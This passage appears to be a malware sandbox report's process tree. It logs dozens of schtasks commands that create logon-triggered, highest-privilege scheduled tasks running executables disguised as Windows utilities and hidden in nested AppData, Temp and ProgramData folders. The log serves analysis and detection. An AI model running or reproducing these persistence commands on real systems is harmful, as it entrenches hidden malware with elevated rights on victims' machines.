  PID:14480
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_13" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9300
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11768
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_15" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7432
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_15" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8500
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_16" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10360
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_16" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5668
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ktmutil_17" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6348
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ktmutil_17" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11940
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_win32calc_18" /tr ""C:\ProgramData\MicrosoftService\win32calc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7096
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_win32calc_18" /tr ""C:\ProgramData\MicrosoftService\win32calc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6192
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6060
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iscsicpl_20" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6184
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iscsicpl_20" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8492
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hh_21" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\hh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_hh_21" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\hh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2652
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpscript_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\gpscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:10836
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpscript_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\gpscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9184
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_23" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9312
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_23" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6584
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3524
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15096
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_25" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6280
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_25" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_takeown_26" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_takeown_26" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_findstr_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\findstr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_findstr_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\findstr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2468
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rasautou_28" /tr ""C:\ProgramData\MicrosoftService\rasautou.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6404
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rasautou_28" /tr ""C:\ProgramData\MicrosoftService\rasautou.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6376
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6792
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11432
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xcopy_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rundll32_31" /tr ""C:\Users\Admin\AppData\Roaming\BackupHide\Logs\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12312
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rundll32_31" /tr ""C:\Users\Admin\AppData\Roaming\BackupHide\Logs\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9880
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8468
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Windows.Media.BackgroundPlayback_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\Windows.Media.BackgroundPlayback.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1988
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tzutil_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11524
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tzutil_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14020
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3404
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_3" /tr ""C:\ProgramData\MicrosoftService\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8700
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_3" /tr ""C:\ProgramData\MicrosoftService\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13148
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7964
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_5" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12196
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_5" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15112
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RunLegacyCPLElevated_6" /tr ""C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\UpdateCache\UpdateCache\UpdateCache\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9604
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RunLegacyCPLElevated_6" /tr ""C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\UpdateCache\UpdateCache\UpdateCache\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12516
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systeminfo_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\systeminfo.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11876
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systeminfo_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\systeminfo.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_8" /tr ""C:\ProgramData\MicrosoftService\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13000
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_8" /tr ""C:\ProgramData\MicrosoftService\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8692
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6408
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:428
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6464
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11816
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_11" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:704
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_11" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5348
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ktmutil_12" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ktmutil_12" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12484
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_13" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12200
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_13" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10424
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchTM_15" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\LaunchTM.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12188
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_LaunchTM_15" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\LaunchTM.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11156
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WerFault_16" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WerFault_16" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:976
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_17" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\UpdateCache\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_17" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\UpdateCache\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_18" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_18" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9480
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1992
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_20" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10480
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_20" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1908
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_ssp_isv_21" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:12472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_ssp_isv_21" /tr ""C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\UpdateCache\UpdateCache\RMActivate_ssp_isv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sort_22" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4668
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sort_22" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_23" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8736
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fc_23" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2536
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13228
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7484
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_25" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11468
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_25" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7240
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_lodctr_26" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_lodctr_26" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DevicePairingWizard_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\DevicePairingWizard.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6796
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DevicePairingWizard_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\DevicePairingWizard.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10204
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesProtection_28" /tr ""C:\ProgramData\MicrosoftService\SystemPropertiesProtection.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesProtection_28" /tr ""C:\ProgramData\MicrosoftService\SystemPropertiesProtection.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7596
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9120
- - C:\Windows\SysWOW64\schtasks.exe
